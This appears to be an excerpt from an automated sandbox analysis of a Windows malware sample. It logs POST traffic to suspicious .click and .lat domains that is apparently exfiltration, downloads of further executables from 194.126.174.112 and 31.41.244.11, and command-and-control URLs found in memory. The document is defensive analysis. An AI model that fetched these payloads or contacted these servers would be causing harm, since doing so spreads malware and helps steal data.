Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Y23JLK9Z5HO2J6FPCMDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19964Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: discokeyus.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=OTXMMCSVFHQUJZ11BDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1243Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=H664Q3XYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12794Host: discokeyus.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=XWA1D5SEBULSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 550684Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MW7Z34FVOJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15052Host: discokeyus.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: lossekniyyt.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RFMRSRLZQZ8KUUK2HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19952Host: discokeyus.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 46Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Y33KTAXTTW6GZBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1220Host: discokeyus.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=K71JV69W4DHCVH7OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12846Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1KZP4ZSHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 550659Host: discokeyus.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0D60YP7NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15044Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: discokeyus.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=L6JB2LE649H4E2N5VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19956Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3XCQNFYYQQ170DQ5QHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1252Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DQGC5ZL41CPRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12825Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=978SKWVU00KEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15071Host: treehoneyi.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CFI4JWYRH07User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 550636Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SZFV6A3P8F4DVR6A6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19959Host: treehoneyi.click

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 194.126.174.112

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_007DE0C0 recv,recv,recv,recv,

1_2_007DE0C0

Source: global traffic	HTTP traffic detected: GET /files/Mnanadra/Baursystempower.exe HTTP/1.1Host: 194.126.174.112
Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/Krokodyl02/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/Bawerfools/Bestsoundeffectives.exe HTTP/1.1Host: 194.126.174.112
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/Bawerfools/Autosoundmick.exe HTTP/1.1Host: 194.126.174.112
Source: global traffic	HTTP traffic detected: GET /files/bckosq/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: lossekniyyt.click
Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: jlgenfekjlfnvtgpegkwr.xyz
Source: global traffic	DNS traffic detected: DNS query: cobolrationumelawrtewarms.com
Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic	DNS traffic detected: DNS query: treehoneyi.click
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.fivetk5ht.top

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lossekniyyt.click

Source: skotes.exe, 00000006.00000002.3727275583.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php6
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php695001
Source: Gxtuum.exe, 00000010.00000002.3722554233.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.126.174.112/files/Bawerfools/Autosoundmick.exe
Source: Gxtuum.exe, 00000010.00000002.3722554233.0000000000F33000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000010.00000002.3722554233.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.126.174.112/files/Bawerfools/Bestsoundeffectives.exe
Source: Gxtuum.exe, 00000010.00000002.3722554233.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.126.174.112/files/Bawerfools/Bestsoundeffectives.exe1dk
Source: Gxtuum.exe, 00000010.00000002.3722554233.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.126.174.112/files/Bawerfools/Bestsoundeffectives.exedll
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DC9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3727275583.0000000000D99000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3727275583.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.126.174.112/files/Mnanadra/Baursystempower.exe
Source: skotes.exe, 00000006.00000002.3727275583.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.126.174.112/files/Mnanadra/Baursystempower.execk.dll
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/Krokodyl02/random.exe$
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/Krokodyl02/random.exeS
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3727275583.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/bckosq/random.exe
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/bckosq/random.exe001
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/bckosq/random.exe760qx
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/bckosq/random.exe8696001
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/bckosq/random.exe9x
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/bckosq/random.exe?
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/bckosq/random.exeIxm
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/bckosq/random.exeded
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exeW
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/london/random.exe
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/london/random.exeg
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe
Source: skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exe
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://axschema.org/2http://schema.openid.net/2http://openid.net/schema/
Source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt
Source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h
Source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o
Source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/
Source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu
Source: 8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Gxtuum.exe, 00000010.00000002.3722554233.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000010.00000002.3722554233.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000010.00000002.3722554233.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cobolrationumelawrtewarms.com/3ofn3jf3e2ljk/
Source: Gxtuum.exe, 00000010.00000002.3722554233.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cobolrationumelawrtewarms.com/3ofn3jf3e2ljk/G
Source: Gxtuum.exe, 00000010.00000002.3722554233.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cobolrationumelawrtewarms.com/3ofn3jf3e2ljk/Y
Source: skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: ece32691cf.exe, 00000017.00000002.3722379908.0000000000889000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: 8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: 8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf
Source: Gxtuum.exe, 00000010.00000002.3722554233.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000010.00000002.3722554233.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jlgenfekjlfnvtgpegkwr.xyz/3ofn3jf3e2ljk2/index.php
Source: Gxtuum.exe, 00000010.00000002.3722554233.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jlgenfekjlfnvtgpegkwr.xyz/3ofn3jf3e2ljk2/index.php003
Source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://msdn.com/data/ef
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://namespace.google.com/openid/xmlns
Source: skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: 8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/extensions/sreg/1.1
Source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.1
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/signon/1.1
